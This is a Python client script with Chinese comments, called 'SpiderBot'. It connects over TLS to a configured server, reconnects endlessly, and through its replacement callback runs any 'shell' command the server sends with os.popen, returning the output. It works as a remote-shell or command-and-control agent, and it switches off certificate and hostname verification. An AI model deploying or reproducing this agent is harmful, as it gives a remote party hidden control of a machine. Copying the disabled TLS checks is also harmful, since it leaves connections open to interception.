#!/usr/bin/env python3
# -*- coding: utf-8 -*-

import os
import socket
import json
import logging
import ssl
import sys
import threading
import time

path = os.path.dirname(os.path.abspath(__file__))
# 配置文件加载
def load_config(config_path=path+'/Cconfig.json'):
    with open(config_path, 'r', encoding='utf-8') as f:
        return json.load(f)

# 日志配置
def setup_logging(config):
    log_level = getattr(logging, config.get('log_level', 'INFO').upper(), logging.INFO)
    logger = logging.getLogger()
    logger.setLevel(log_level)

    # 创建一个文件处理器，明确设置为UTF-8编码
    file_handler = logging.FileHandler(filename=path+config['log_file'], encoding='utf-8')
    file_formatter = logging.Formatter('%(asctime)s - %(levelname)s - %(message)s')
    file_handler.setFormatter(file_formatter)

    # 创建并设置流处理器
    stream_handler = logging.StreamHandler(stream=sys.stdout)
    stream_formatter = logging.Formatter('%(asctime)s - %(levelname)s - %(message)s')
    stream_handler.setFormatter(stream_formatter)

    # 将处理器添加到日志器
    logger.addHandler(file_handler)
    # logger.addHandler(stream_handler)

    return logger


class Client:
    def __init__(self, config):
        self.config = config
        self.host = config['host']
        self.port = config['port']
        setup_logging(config)
        self.server_address = (self.host, self.port)
        
        CA_FILE = path+"/data/ssl/ca-cert.pem"
        # CLIENT_KEY_FILE = "data/ssl/client-key.pem"
        # CLIENT_CERT_FILE = "data/ssl/client-cert.pem"

        # 创建SSL上下文对象
        self.context = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT)
        self.context.check_hostname = False
        # context.load_cert_chain(certfile=CLIENT_CERT_FILE, keyfile=CLIENT_KEY_FILE)  # 服务器不需要认证客户端证书，故不需要
        self.context.load_verify_locations(CA_FILE)   # 使用根证书认证服务端证书
        # self.context.verify_mode = ssl.CERT_REQUIRED
        self.context.verify_mode = ssl.CERT_NONE 




    # 保活
    def setup_tcp_keepalive(self,sock):
        sock.setsockopt(socket.IPPROTO_TCP, socket.TCP_KEEPIDLE, 30)  # 30秒无活动后开始发送保活探测
        sock.setsockopt(socket.IPPROTO_TCP, socket.TCP_KEEPINTVL, 10)  # 保活探测的发送间隔为10秒
        sock.setsockopt(socket.IPPROTO_TCP, socket.TCP_KEEPCNT, 3)     # 最多发送3个保活探测
    
    def connect_to_server(self):
        """尝试连接到服务器，直到成功或达到最大重连次数"""
        retry_interval = self.config.get('reconnect_interval', 5)
        attempt = 0
        while True:
            attempt += 1
            try:
                self.client_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
                self.client_socket = self.context.wrap_socket(self.client_socket, server_side=False)
                self.setup_tcp_keepalive(self.client_socket)
                self.client_socket.connect((self.host, self.port))
                self.connected = True
                txt = f"连接到服务器成功。尝试次数：{attempt}"
                logging.info(txt)
                print(txt)
                return  # 连接成功，退出循环
            except socket.error as e:
                txt = f"连接服务器失败，正在重试...（尝试 {attempt}）: {e}"
                logging.error(txt)
                print(txt)
                time.sleep(retry_interval)

    def receive_messages(self):

        while True:
            try:
                message = self.client_socket.recv(1024).decode('utf-8')
                if message == "":  # 如果接收到空字符串，表示连接已断开
                    logging.info("连接已断开")
                    self.connect_to_server()
                    continue
                self.callback(message,self)
            except socket.error as e:
                logging.error(f"接收消息失败: {e}")
                continue

    def callback(self,message,spider = None):
        message = message.rstrip("\n")
        print(f"\nSpiderBot : {message}",end="")

    def send_message(self, message):
        try:
            e = self.client_socket.sendall((message + '\n').encode('utf-8'))
           
            return True
        except socket.error as e:
            logging.error(f"发送消息失败: {e}")
            return False

    def command_interface(self):
        commands = {
            'exit': self.close_connection,
            'clear': self.clear_screen,
            'help': self.show_help,
            'connect': self.connect_to_server,
        }
        while True:
            cmd = input("(Spider)> ").strip().lower()
            if cmd in commands:
                commands[cmd]()
            elif cmd.startswith("send "):
                self.send_message(cmd.replace("send ", ''))
            elif cmd == "" :
                continue
            else:
                print(f"未知命令 '{cmd}'，请输入 'help' 查看帮助。")

    def clear_screen(self):
        os.system('cls' if os.name == 'nt' else 'clear')

    def show_help(self):
        help_text =  """
客户端支持的命令：
  send [message]      发送消息给服务端
  exit                关闭客户端
  connect             连接服务端
  clear               清屏
  help                显示帮助信息 
"""
        print(help_text)

    def close_connection(self):
        self.client_socket.close()
        sys.exit()

    def close_connection(self):
        logging.info("正在关闭客户端连接。")
        self.client_socket.close()
        sys.exit()


    def run(self):
        """运行客户端"""
        print("客户端交互式界面启动，输入 'help' 查看可用命令。")
        while True:  # 无限循环尝试连接
            self.connect_to_server()
            try:
                threading.Thread(target=self.receive_messages, daemon=True).start()
                self.command_interface()
            except KeyboardInterrupt:
                logging.info("客户端被用户中断。")
            finally:
                self.close_connection()

def new_callback(message,spider):
    message = message.rstrip("\n")
    try:
        res = json.loads(message)
        if res['type'] == "shell":
            out = os.popen(res['data'])
            txt = ""
            for i in out.readlines():
                txt += i
            if txt == "" or txt == "\n":
                txt = "指令报错或无结果"
            spider.send_message(txt)
        else:
            # pass
            spider.send_message("开发中。。。")

    except Exception as e:
        print("errore")
        print(type(e))
        print(e)
        spider.send_message(f"指令报错 {e}")
        
    print(f"\nSpiderBot[api] : {message}",end="")


if __name__ == '__main__':
    
    
    os.chdir(os.path.dirname(os.path.abspath(__file__)))
    print("starting")
    config = load_config()
    client = Client(config)
    setattr(client, 'callback', new_callback)
    client.run()